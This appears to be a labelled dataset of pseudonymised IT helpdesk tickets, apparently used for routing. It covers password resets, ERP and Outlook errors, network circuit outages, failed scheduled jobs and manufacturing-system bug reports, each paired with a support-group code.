54.96.80.216 %asa-4-106023: deny udp src inside:10.44.167.92/57419 dst outside:192.168.0.6/7 by access-group ""acl_inside"" [0x0, 0x0]_x000D_ +_x000D_ +[correlation_data]_x000D_ +sep 27 00:07:25 46.45.62.5146 dhcpd[21574]: dhcpack on 10.44.167.92 to 0a:f5:c1:ab:82:b3:00:00:00:00:00:00:00:00:00:00 (awyl8911000) via eth2 relay 10.44.86.71 lease-duration 14400 (renew)_x000D_ +sep 27 04:10:29 54.96.80.216 %asa-4-106023: deny udp src inside:10.44.167.92/57420 dst outside:192.168.0.7/7 by access-group ""acl_inside"" [0x0, 0x0]_x000D_ +_x000D_ +[correlation_data]_x000D_ +sep 27 00:07:25 46.45.62.5146 dhcpd[21574]: dhcpack on 10.44.167.92 to 0a:f5:c1:ab:82:b3:00:00:00:00:00:00:00:00:00:00 (awyl8911000) via eth2 relay 10.44.86.71 lease-duration 14400 (renew)_x000D_ +sep 27 04:10:29 54.96.80.216 %asa-4-106023: deny udp src inside:10.44.167.92/57421 dst outside:192.168.0.8/7 by access-group ""acl_inside"" [0x0, 0x0]_x000D_ +_x000D_ +[correlation_data]_x000D_ +sep 27 00:07:25 46.45.62.5146 dhcpd[21574]: dhcpack on 10.44.167.92 to 0a:f5:c1:ab:82:b3:00:00:00:00:00:00:00:00:00:00 (awyl8911000) via eth2 relay 10.44.86.71 lease-duration 14400 (renew)_x000D_ +sep 27 04:10:29 54.96.80.216 %asa-4-106023: deny udp src inside:10.44.167.92/57422 dst outside:37.07.71.825/7 by access-group ""acl_inside"" [0x0, 0x0]_x000D_ +_x000D_ +[correlation_data]_x000D_ +sep 27 00:07:25 46.45.62.5146 dhcpd[21574]: dhcpack on 10.44.167.92 to 0a:f5:c1:ab:82:b3:00:00:00:00:00:00:00:00:00:00 (awyl8911000) via eth2 relay 10.44.86.71 lease-duration 14400 (renew)_x000D_ +sep 27 04:10:29 54.96.80.216 %asa-4-106023: deny udp src inside:10.44.167.92/57423 dst outside:192.168.0.10/7 by access-group ""acl_inside"" [0x0, 0x0]_x000D_ +_x000D_ +[correlation_data]_x000D_ +sep 27 00:07:25 46.45.62.5146 dhcpd[21574]: dhcpack on 10.44.167.92 to 0a:f5:c1:ab:82:b3:00:00:00:00:00:00:00:00:00:00 (awyl8911000) via eth2 relay 10.44.86.71 lease-duration 14400 (renew)_x000D_ +sep 27 04:10:29 54.96.80.216 %asa-4-106023: deny udp src inside:10.44.167.92/57424 dst outside:192.168.0.11/7 by access-group ""acl_inside"" [0x0, 0x0]_x000D_ +_x000D_ +[correlation_data]_x000D_ +sep 27 00:07:25 46.45.62.5146 dhcpd[21574]: dhcpack on 10.44.167.92 to 0a:f5:c1:ab:82:b3:00:00:00:00:00:00:00:00:00:00 (awyl8911000) via eth2 relay 10.44.86.71 lease-duration 14400 (renew)_x000D_ +sep 27 04:10:29 54.96.80.216 %asa-4-106023: deny udp src inside:10.44.167.92/57425 dst outside:51.64.73.461/7 by access-group ""acl_inside"" [0x0, 0x0]_x000D_ +_x000D_ +[correlation_data]_x000D_ +sep 27 00:07:25 46.45.62.5146 dhcpd[21574]: dhcpack on 10.44.167.92 to 0a:f5:c1:ab:82:b3:00:00:00:00:00:00:00:00:00:00 (awyl8911000) via eth2 relay 10.44.86.71 lease-duration 14400 (renew)_x000D_ +sep 27 04:10:29 54.96.80.216 %asa-4-106023: deny udp src inside:10.44.167.92/57426 dst outside:192.168.0.13/7 by access-group ""acl_inside"" [0x0, 0x0]_x000D_ +_x000D_ +[correlation_data]_x000D_ +sep 27 00:07:25 46.45.62.5146 dhcpd[21574]: dhcpack on 10.44.167.92 to 0a:f5:c1:ab:82:b3:00:00:00:00:00:00:00:00:00:00 (awyl8911000) via eth2 relay 10.44.86.71 lease-duration 14400 (renew)_x000D_ +sep 27 04:10:29 54.96.80.216 %asa-4-106023: deny udp src inside:10.44.167.92/57427 dst outside:192.168.0.14/7 by access-group ""acl_inside"" [0x0, 0x0]_x000D_ +_x000D_ +[correlation_data]_x000D_ +sep 27 00:07:25 46.45.62.5146 dhcpd[21574]: dhcpack on 10.44.167.92 to 0a:f5:c1:ab:82:b3:00:00:00:00:00:00:00:00:00:00 (awyl8911000) via eth2 relay 10.44.86.71 lease-duration 14400 (renew)_x000D_ +sep 27 04:10:29 54.96.80.216 %asa-4-106023: deny udp src inside:10.44.167.92/57428 dst outside:192.168.0.15/7 by access-group ""acl_inside"" [0x0, 0x0]_x000D_ +_x000D_ +[correlation_data]_x000D_ +sep 27 00:07:25 46.45.62.5146 dhcpd[21574]: dhcpack on 10.44.167.92 to 0a:f5:c1:ab:82:b3:00:00:00:00:00:00:00:00:00:00 (awyl8911000) via eth2 relay 10.44.86.71 lease-duration 14400 (renew)_x000D_ +_x000D_ +ascii packet(s):_x000D_ +_x000D_ +_x000D_ +hex packet(s):",GRP_19 +kfdyzexr hnbetvfk : password reset kfdyzexr hnbetvfk : password reset,GRP_0 +"unable to create delivery please provide the following:_x000D_ +_x000D_ +what order number? 35066374/000030_x000D_ +_x000D_ +what material or item number? 7415836_x000D_ +_x000D_ +what warehouse location? plant_69_x000D_ +_x000D_ +issue description / error message? create delivery not allowed (sys. status exls, object vb0035066374000030)",GRP_6 +mobile device activation mobile device activation ,GRP_0 +"po language is incorrect-po#4505652547 from: xjvubmlq vyamhjip _x000D_ +sent: tuesday, september 27, 2016 10:18 am_x000D_ +to: nwfodmhc exurcwkm_x000D_ +subject: rad:po language is incorrect-po#5616763658_x000D_ +_x000D_ +hello ,_x000D_ +the po language is correct when i print output it ._x000D_ + _x000D_ +_x000D_ +_x000D_ + _x000D_ +_x000D_ +but when i use ""zz_mails "", the po language is incorrect, could you please help to check it?_x000D_ + _x000D_ +_x000D_ +_x000D_ +_x000D_ + _x000D_ +_x000D_ +_x000D_ +_x000D_ +with best ",GRP_29 +"reset the password for pumjbcna scluvtyj on erp / qa / hcm hi all, + +the user romertanj need their password reset. + +",GRP_0 +"reset passwords for pumjbcna scluvtyj using password_management_tool password reset. hi all,_x000D_ +_x000D_ +please, the user romertanj need their password reset._x000D_ +_x000D_ +",GRP_17 +outlook not getting connected to exchange server outlook not getting connected to exchange server,GRP_0 +"urgent // price update error _x000D_ +_x000D_ +received from: uarnkqps.gufcjxma@gmail.com_x000D_ +_x000D_ +hi,_x000D_ +_x000D_ +i have to divide the quantity of the item due to partial shipment and currency issue. but while dividing item quantity and re-writing zno for currency update process, zno price is deleted._x000D_ +i try to enter the price again with zno however the system can't allow it and bring the new price with zcnp._x000D_ +_x000D_ +so could you help me please?_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +[cid:image002.jpg@01SID_358a8.eb5a4620]_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +saygılarımızla / best ",GRP_13 +erp SID_34 account locked erp SID_34 account locked,GRP_0 +drucker dell 1350 cnw druckt alle seiten mit grauschleiher druckt druckt alles vergraut,GRP_33 +"finance_app _x000D_ +_x000D_ +received from: bujiesrg.zopcrshl@gmail.com_x000D_ +_x000D_ +dear all，_x000D_ +_x000D_ +can you help me to access below forms? ",GRP_55 +"password for w-lan anrgtdy bofffgtyin + +received from: dubpgacz.kjzhilng@gmail.com + +hello, + +my college anrgtdy bofffgtyin came to germany, germany fort he work and needs to connect to w-lan. + + +could you please send him password for guest w-lan connetction? + +anrgtdy bofffgtyin +technical programdntyme manager aerospace and defence +godjevmy.gfaevrdq@gmail.com + +mit freundlichen grüßen / best ",GRP_0 +account locked in ad account locked in ad,GRP_0 +"help to pose the 4 pos which cannot be posed by erp now when the 4 pos are posed, as the local tax law, we need choose j0 for them. however, after we choose j0 as tax code, erp shows red message like the attachments. then we make tax code empty, erp will require to place a tax code. this make us confused how to pose this 4 pos. please help to pose them. ",GRP_10 +account locked in supply_chain_software account locked in supply_chain_software ,GRP_0 +"circuit outage:australia-dmvpn-1811-rtr02 down since 1:30 am on 9/27/2016 what type of outage: _____network ___yes__circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? ___no______ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? _____1:30 am on 9/27/2016 _________________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? ___no____ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? _____no__ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? __yes___ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? ___yes____ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? _________ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? ___________ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? ___________ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? _______ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +"final inwarehouse_tool for project is not working correctly dear it team,_x000D_ +_x000D_ +i have again an issue with a final inwarehouse_tool. i have the following erp order: 34827963._x000D_ +we had a down payment of all items, but a final shipment of item 10,20,50,60,70._x000D_ +items 30 and 40 have not been shipped, hence we are not allowed to do an final inwarehouse_tool for this. _x000D_ +so i tried to do a final inwarehouse_tool for items 10,20,50,60,70, but it did not work. with inwarehouse_tool 0159198781 the down payment amount got deducted twice. _x000D_ +so i cancelled all inwarehouse_tools, incl. down payment inwarehouse_tool and separated them, one inwarehouse_tool for item 10,20,50,60,70 and another inwarehouse_tool for item 30,40._x000D_ +after that i tried again to inwarehouse_tool it. but still the wrong amunt was shown. i need to have an inwarehouse_tool for item 10,20,50,60,70 with amount 350.740 minus 105.222 down paymant. can you please have a look and help me? _x000D_ +this is not a single issue, we had that already several times. ",GRP_13 +"after changing the password,outlook is not responding to the newly assigned password. name:mandgtryjuth +language: +browser:microsoft internet explorer +email:onbugvhi.vzjfgckt@gmail.com +customer number: +telephone: +summary:after changing the password,outlook is not responding to the newly assigned password.",GRP_0 +"engineering_tool-new customer addition _x000D_ +_x000D_ +received from: skmdgnuh.utgclesd@gmail.com_x000D_ +_x000D_ +hi,_x000D_ +_x000D_ +still same error persists._x000D_ +_x000D_ +[cid:image001.png@01SID_358ae.c667c030]_x000D_ +_x000D_ +with warm ",GRP_25 +"hpqc account--reset password + +received from: phfduvwl.yqnaucep@gmail.com + +hello +i failed to login my hpqc account and got below message. +could you please reset password for my hpqc account, i need it to do uacyltoe hxgaycze next week +my user id is zhudrs + +[cid:image001.png@01SID_358c2.0b26f430] +",GRP_0 +unable to open outlook and business_client unable to open outlook and business_client ,GRP_0 +电脑硬盘故障，请求维修。 电脑硬盘故障，请求维修。,GRP_30 +"business_client not working _x000D_ +_x000D_ +received from: otpkzifh.gywinoml@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +_x000D_ +i am unable to access business_client. when i open business_client, it goes directly into below screen._x000D_ +kindly look into._x000D_ +_x000D_ +_x000D_ +[cid:image001.jpg@01SID_358ac.6fbbdcf0]_x000D_ +_x000D_ +",GRP_0 +"job Job_3190 failed in job_scheduler at: 09/27/2016 01:00:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_3190 failed in job_scheduler at: 09/27/2016 01:00:00",GRP_10 +"the plm conversion server - is reporting a : warning status on, HostName_108. please investigate the plm conversion server - is reporting a : warning status on, HostName_108. please investigate +",GRP_14 +"add the inxsupmy zhwmifvx to materials_management / purchasing + +received from: inxsupmy.zhwmifvx@gmail.com + +hello team, + +can you please add inxsupmy zhwmifvx to the materials_management/purchasing group in ticketing_tool . + +inxsupmy zhwmifvx +team lead - ssl (sourcing & logistics) - global it +inxsupmy.zhwmifvx@gmail.com + + + +",GRP_0 +"erp login blocked _x000D_ +_x000D_ +received from: ublisodp.qydfvpgw@gmail.com_x000D_ +_x000D_ +hello_x000D_ +_x000D_ +i am not able to login into erp as my attempts exceed the set limit._x000D_ +requesting you to unblock the same._x000D_ +_x000D_ +",GRP_0 +"outlook is not updating on my laptop name:warrrtyen +language: +browser:microsoft internet explorer +email:wmybrona.qvwhpamb@gmail.com +customer number: +telephone: +summary:outlook is not updating on my laptop",GRP_0 +"circuit outage : carrier india dmvpn-rtr02 is down since 10:37 pm et on 09/26. what type of outage: _____network __x___circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? ____no_____ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? ____________10:37 pm et on 09/26.__________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? _____no__ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? _____no__ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? ___yes___ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? _____yes___ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? _____no____ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? ___________ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? ___________ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? _______ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +erp SID_34 account locked erp SID_34 account locked ,GRP_0 +erp SID_34 account locked erp SID_34 account locked ,GRP_0 +"sound system of laptop _x000D_ +_x000D_ +received from: ygkzwsud.cvjgkxws@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +_x000D_ +i need a help, the sound system of my laptop doesn't seem to be working, neither through speaker nor through ear phone. it's very inconvenient for skype calls._x000D_ +_x000D_ +please look into this._x000D_ +_x000D_ +",GRP_19 +"erp login trouble _x000D_ +_x000D_ +received from: xosycftu.olhpmsdw@gmail.com_x000D_ +_x000D_ +hello_x000D_ +_x000D_ +please see this error._x000D_ +i can not log in erp._x000D_ +please tell me the solution._x000D_ +_x000D_ +_x000D_ +",GRP_0 +"circuit outage : switzerland dmvpn-2821-rtr01 is down since 11:38 pm et on 09/26. what type of outage: _____network ___x__circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? ___yes______ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? __________11:38 pm et on 09/26.____________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? ____no___ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? ____no___ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? ___yes___ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? ____yes____ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? _____no____ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? ______na_____ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? ___________ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? _______ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +hr_tool-etime 系统不能登录，一直显示正在加载应用数据库 hr_tool-etime 系统不能登录，一直显示正在加载应用数据库,GRP_31 +erp system - very slow response_apac we've faced the problem of erp system which is very slow response time. please help check and fixing this issue to make erp system more faster speed. ,GRP_0 +HostName_212 : /dev/u00lv is over 20% space consumed. space available: 28.3 g HostName_212 : /dev/u00lv is over 20% space consumed. space available: 28.3 g,GRP_8 +"unable to browse ""hr_tool"" site. unable to browse ""hr_tool"" site. snapshot of error is attached.",GRP_0 +邮箱无法启动 邮箱无法启动，提示无法创新新的堆栈防护页面。,GRP_30 +"job pp_EU_tool_netch_keheu2 failed in job_scheduler at: 09/26/2016 22:37:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job pp_EU_tool_netch_keheu2 failed in job_scheduler at: 09/26/2016 22:37:00",GRP_8 +"crm _x000D_ +_x000D_ +received from: hmjdrvpb.komuaywn@gmail.com_x000D_ +_x000D_ +good day,_x000D_ +_x000D_ +can you please advise whether crm is going through updates at the moment?_x000D_ +_x000D_ +there are a number of issues concerning us in 1301:_x000D_ +_x000D_ +_x000D_ +1. at the moment we cannot access crm at all._x000D_ +_x000D_ +2. yesterday, i could not enter new customer accounts as my drop down boxes were not fully loading and thus, i could only see one or two items to select from._x000D_ +_x000D_ +3. the team here in australia advised that lately that they have had to contact customer master on numerous occasions as there are certain entries in crm, new customer accounts, that are not transferring to erp like:_x000D_ +sales reps_x000D_ +carriers_x000D_ +etc_x000D_ +_x000D_ +we were advised by our finance department that they believed it were aware of such problems above?_x000D_ +_x000D_ +kind ",GRP_15 +"job bkwin_HostName_768_inc failed in job_scheduler at: 09/26/2016 22:33:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job bkwin_HostName_768_inc failed in job_scheduler at: 09/26/2016 22:33:00",GRP_8 +"erp slow apac china, apac dc & company colleagues said the erp is very slow. i ping erp address 81.93.78.714, 50% packet loss.",GRP_0 +"job pp_EU_tool_netch_ap2 failed in job_scheduler at: 09/26/2016 22:24:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job pp_EU_tool_netch_ap2 failed in job_scheduler at: 09/26/2016 22:24:00",GRP_8 +"purchasing order export issue _x000D_ +_x000D_ +received from: jrdafplx.fcnjmvts@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +_x000D_ +when i export the po files to pdf format in erp by command zz_mails , sometimes , it's show the other language rather than chinese ,so how can i solve it?_x000D_ +_x000D_ +_x000D_ +[cid:image001.png@01SID_358a8.5c6486b0]_x000D_ +_x000D_ +with best ",GRP_29 +password reset via password_manager_tool password manager password reset via password_manager_tool password manager,GRP_0 +outlook not working and unable to receive emails. outlook not working and unable to receive emails.,GRP_0 +"engineering_tool-new customer _x000D_ +_x000D_ +received from: skmdgnuh.utgclesd@gmail.com_x000D_ +_x000D_ +hi,_x000D_ +_x000D_ +not able to add new customer in engineering_tool, kindly support to solve the error._x000D_ +_x000D_ +[cid:image001.png@01SID_35883.6872ebb0]_x000D_ +_x000D_ +with warm ",GRP_25 +"msd: outlook not showing the crm add-in. msd: outlook not showing the crm add-in._x000D_ +-connected to the user system using teamviewer._x000D_ +-deleted and reconfigured the user profile on crm._x000D_ +-launched outlook._x000D_ +-user confirmed by closing and relaunching outlook everything is fine now._x000D_ +-issue resolved._x000D_ +_x000D_ +",GRP_0 +vpn access status check vpn access status check,GRP_0 +"cannot find dr. cyxieuwk rekwlqmu in ticketing_tool i tried to add cyxieuwk.rekwlqmu@gmail.com to the watch list on a ticket but i couldn't find him in ticketing_tool._x000D_ +please active christgrytoph's account in ticketing_tool.",GRP_0 +"alrthyu s lowe. my ee# is 6045304.it needs to show under me in the financial report that mikhghytr robhyertyjs receives from nicrhty pi from: scthyott lortwe +sent: monday, september 26, 2016 8:42 pm +to: nwfodmhc exurcwkm +subject: trup[ti fw: recode acct +importance: high + +it team + +please see the email chain below. please assign this to me, alrthyu s lowe. my ee# is 6045304. + +it needs to show under me in the financial report that mikhghytr robhyertyjs receives from nicrhty piper. + +scthyott lortwe +sales manager – southeast +industrial segment +sbvlxuwm.yanbikrx@gmail.com + +from: christgry financial_toolher +sent: monday, september 26, 2016 9:30 am +to: mikhghytr robhyertyjs ; scthyott lortwe +subject: re: recode acct + +hi mikhghytr – that is not an account in erp. it is new customer quota that was loaded into financial reporting per the direction of cpmaidhj elbaqmtp. unfortunately, you will need to submit an it ticket to have it reassigned. + +kindest ",GRP_9 +"expense report issue : getting alert in expense report. screenshots attached. expense report issue _x000D_ +_x000D_ +please change cost center for user ",GRP_10 +"outlook language is changing automatically. outlook language is changing automatically._x000D_ +-connected to the user system using teamviewer._x000D_ +-changed the launguage settings as english default._x000D_ +-restarted the pc._x000D_ +-advised the user to check now._x000D_ +-user confirmed that the outlook language is now english._x000D_ +-educated the user about the steps to take to change the outlook launguage._x000D_ +-issue resolved.",GRP_0 +mobile device activation mobile device activation,GRP_0 +load telephony_software onto users pc load telephony_software onto users pc,GRP_7 +no audio while on skype call no audio while on skype call,GRP_0 +problem with erp login the server list is not available. problem with erp login the server list is not available.,GRP_0 +"i am not able to upload engineering_tool, see below screen shot. i am not able to upload engineering_tool, see below screen shot.",GRP_0 +not able to login to windows not able to login to windows,GRP_0 +"user unable to login to the telephony_software . user unable to login to the telephony_software . +-user unable to login to the interaction client. +-user getting authenication error. +-contact: ",GRP_7 +"compensation system is missing september inwarehouse_tools the compensation system is missing september inwarehouse_tools, which is impacting sales compensation reports for all of north amerirtca field sales. please assign to bw team and consult zarthyc mithycs for resolution.",GRP_25 +"ockwafib.wftboqry@gmail.com called to service desk to check status of pomjgvte.goswvnci@gmail.com ockwafib.wftboqry@gmail.com called to service desk to check status of pomjgvte.goswvnci@gmail.com for account activation._x000D_ +_x000D_ +",GRP_0 +cópia de conta telefonica solicito fornecer cópia da conta telefônica do celular do período de 20 de junho a 20 de setembro/2016,GRP_62 +"confirmation qty window not deducting confirmed pieces in default qty field as per my understanding, mii should subtract already confirmed pieces from order planned quantity from confirmation screen whenever user is confirming something. _x000D_ +for ex. for a 1000 piece order, if user confirms 400 pieces, the next user or same user next time when confirms that operation, the default qty presented should be 600 but i'm noticing its presenting the original 1000",GRP_41 +rzonkfua yidvloun was unable to login to windows and outlook rzonkfua yidvloun was unable to login to windows and outlook,GRP_0 +"partial confirmation info sent to erp but machine status behaving differently (usa) usa go-live week. issue reported on 9/21_x000D_ +_x000D_ +order #226038501 _x000D_ +op # 0030 _x000D_ +work center # 73122161_x000D_ +_x000D_ +operation was in prir status [9/2sartlgeo lhqksbdx2.33 pm] but mii won't allow to resume run. _x000D_ +gergryth changed status in mii from prst to prir, it changed status in to-di list but not in machine summary_x000D_ +_x000D_ +start process = 9/20 19.43 = 7.43 pm_x000D_ +current time = 9/2sartlgeo lhqksbdx2.50 pm_x000D_ +time elapsed ~17 hours and that's what we're seeing on machine summary dashbankrd meaning mii did send partial confirmation information to erp but didn't used the same information for machine status view etc. _x000D_ +_x000D_ +so, in summary, the partial confirmation information made it to erp perfectly fine but the machine status windows wasn't updated with partial confirmation pause and behaved as if partial confirmation pause never happened_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +example from usa_x000D_ +for usa location and order 226033677, operation 10_x000D_ +_x000D_ +mii showed the order in prpf status, looking at erp, order was partially confirmed followed by ""automatic pause"" which mii adds. change log shows all entries were done by miiadmin. it's weird since erp is showing expected status which is provided by mii but mii itself is showing prpf status which does not make sense. reporting this issue so team can do a deep dive and come up with the solution_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +",GRP_41 +unable to print purchase orders from erp unable to print purchase orders from erp,GRP_0 +"entered ""data maintenance"" window using operators credential (usa) during usa go-live week on 9/22 i was able to get into data maintenance on operator pc using operator id.. exact steps listed below +1. operator had operator dashbankrd open on his pc +2. he asked for help and todfrm brgyake (plant manager), zcudbnyq rdxzgpej (manufacturing manager) and i stopped by operators desk +3. his question required to get into ""data maintenance"" and confirm something (original question was about interrupt codes) +4. i opened a new ""tab"", right next to operator dashbankrd and typed url of data maintenance +5. then i went into operator dashbankrd tab and clicked log out (i was expecting to enter my own credentials to get into data maintenance) +6. but some thing weird happened, the moment i switched to data maintenance tab, i realized i was already logged in, without entering my id +7. i double checked with tom and davidthd that if i was maybe dreaming and entered my credentials but they confirmed, application took me to home screen of data maintenance without asking credentials + + + + + + +",GRP_41 +"the kündigung action for pfgia scgtitt has completed. hello , + +a kündigung for pfgia scgtitt, 1156212249, effective 22.07.2016 has been approved. +",GRP_2 +"mii logging in under different user issue reported from usa, usa and usa + +note from erin +""we have a new issue today – in the osterwalder bank the operators are signing in as themselves and being logged in under other usernames. in the attached screen shot edclhpkf ahjklpxm signed in with her login mcelrnr but was logged in as sanddry mcgfrtann (mcgatnsl). this is a new change – previously it would log in the lauacyltoe hxgaycze person when you would open the window but now it's not even signing in the correct person.""",GRP_41 +"ie 10 needed for finance_app. ie 10 needed for finance_app._x000D_ +-connected to the user system using teamviewer._x000D_ +-uninstalled ie11 and reinstalled the ie10._x000D_ +-user confirmed he was able to login to the finance_app._x000D_ +-issue resolved.",GRP_0 +erp SID_34 password reset erp SID_34 password reset ,GRP_0 +password reset password reset,GRP_0 +"the driver was not loaded properly. : inc1554925 +summary:hello, +i can't log in my pc due to updating of intel.the driver was not loaded properly.",GRP_0 +"partner rtr team - email restrictions + +received from: ntsowaem.jfgslyde@gmail.com + +would like some assistance on trying to change the email access as approved below for our partner team. + +ergtyic wrtyvis +manager, internal audit +ntsowaem.jfgslyde@gmail.com + + +from: pal, sadipta [mailto:sadipta.pal@partner.com] +sent: monday, september 26, 2016 11:57 am +to: ntsowaem jfgslyde > +subject: fw: partner rtr team - email restrictions + +hi erirtc – do you think sonia will be able to expedite this? + +",GRP_26 +documents folder is missing documents folder is missing. ,GRP_0 +unable to connect to dg05 printer unable to connect to dg05 printer ,GRP_0 +ticket update on ticket_no0439545 ticket update on ticket_no0439545,GRP_0 +unable to print erp orders unable to print erp orders,GRP_0 +unable to connect to wifi unable to connect to wifi,GRP_0 +7350: unable to hear audio on skype 7350: unable to hear audio on skype,GRP_0 +connection to system production_order_interface_app with destination production_order_interface_vendor-connc is not okay: when converting planned orders to production orders and releasing to print -- or just attempting to print anything from erp -- i am getting the following error message: connection to system production_order_interface_app with destination production_order_interface_vendor-connc is not okay: error when opening an rfc connection (cpic-call: (1).,GRP_0 +skype issue login issue skype issue login issue ,GRP_0 +hr_tool etime query hr_tool etime query ,GRP_0 +reset the password for cyvdluja oxrkfpbz on other / telephony_software reset the password for cyvdluja oxrkfpbz on other / telephony_software,GRP_7 +unable to open outlook unable to open outlook ,GRP_0 +"information pushed out of bar in machine status display in machine status window, the active hours of operation are displayed. in one instance hours were pushed out of bar making information unreadable (instead of showing 3.433 h, it appears as 433 h) adding pitcure",GRP_41 +"invlaid order number (usa) we see order 2105783 in mii, which infact is material number.. need to know how this was entered as production order # in dashbankrd",GRP_41 +"""work center allowed % difference"" message showing up when threshold set to 100% when ""confirm. qty. threshold"" is set to 100%, system presents a warning even when we confirm planned order qty (which is exactly 100% of planned order qty)_x000D_ +",GRP_41 +"re: sent from snipping tool _x000D_ +_x000D_ +received from: tfesaxip.cvorpnth@gmail.com_x000D_ +_x000D_ +help for work order 226048099._x000D_ +_x000D_ +",GRP_0 +"sent from snipping tool _x000D_ +_x000D_ +received from: tfesaxip.cvorpnth@gmail.com_x000D_ +_x000D_ +help for work ord_x000D_ +_x000D_ +",GRP_0 +unable to login to ess unable to login to ess,GRP_0 +"erp help _x000D_ +_x000D_ +received from: znxcupyi.bhrwyxgu@gmail.com_x000D_ +_x000D_ +when converting planned orders to production orders and releasing to print, i am getting the following error message:_x000D_ +[cid:image001.png@01SID_357e3.677aecd0]_x000D_ +_x000D_ +_x000D_ +",GRP_0 +"skype issue : personal certificate error. +summary:i am unable to sign into skype - getting pop up message saying there is problem with a certificate. any suggestions?",GRP_0 +"job Job_3032 failed in job_scheduler at: 09/26/2016 10:41:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_3032 failed in job_scheduler at: 09/26/2016 10:41:00",GRP_14 +assign to plm - cannot print work orders due to plsseald connection connection to system production_order_interface_app with destination production_order_interface_vendor-connc is not okay: ,GRP_0 +"wrong ""stock status"" symbols displayed in distributor_tool / companycenter (see attached email) wrong ""stock status"" symbols displayed in distributor_tool / companycenter (see attached email)",GRP_20 +"erp access issue high priority: gofmxlun kxcfrobq is getting errors in erp when she tries to create and order. this is her main function and she is unable to proceed creating orders. + +note from micthle follows +------------------------------------------ +i'm receiving a server error when trying to create production orders in erp. the error message says ""connection to system production_order_interface_app with destination production_order_interface_vendor-connc is not okay: error when opening an rfc conneciton (cpic-call:1(1). +-------------------------------------------- + +system (SID_34, SID_37, SID_39, SID_38, hrp, other ?): +SID_34 + +enter user id of user having the issue: +letyenm + +transaction code(s) the user needs or was working with: +co01 + +describe the issue: +see message above from micthle +",GRP_3 +"pair formation error for orders which have right information / status in erp (usa) order 226047825, operation 40_x000D_ +operator unable to ""final"" confirm the order using time event. gergryth looked up confirmation details in erp and everything looks correct. mii is throwing out ""pair formation"" error",GRP_41 +"able to start a confirmed job in mii (usa) for order 226044182, operation 0015, we ""final confirmed"" job in mii but operator was able to ""start"" the job again - should've not happened as per logic we have defined",GRP_41 +"unable to get production order to print error reads_x000D_ +connection to system production_order_interface_app with destination_x000D_ +production_order_interface_vendor-connc is not okay:_x000D_ +error when opening an rfc connection (cpic-call: '",GRP_0 +"erp printing issue : connection to system production_order_interface_app with destination production_order_interface_vendor-connc is not okay. erp printing issue : connection to system production_order_interface_app with destination production_order_interface_vendor-connc is not okay. +error when opening an rfc connection +contact : ",GRP_0 +"erp production order printing issue : connection to system production_order_interface_app with destination production_order_interface_vendor-connc is not okay. erp printing issue : connection to system production_order_interface_app with destination production_order_interface_vendor-connc is not okay. +error when opening an rfc connection +contact # : +ext 115",GRP_0 +"access needed for vrtybundj to ticketing_tool please usa ycimqxdn wtubpdsz (vrtybundj) access to ticketing_tool to view tickets similar to what pwc is usaed each year. + +let me know if you have any questions. + +",GRP_36 +"crm _x000D_ 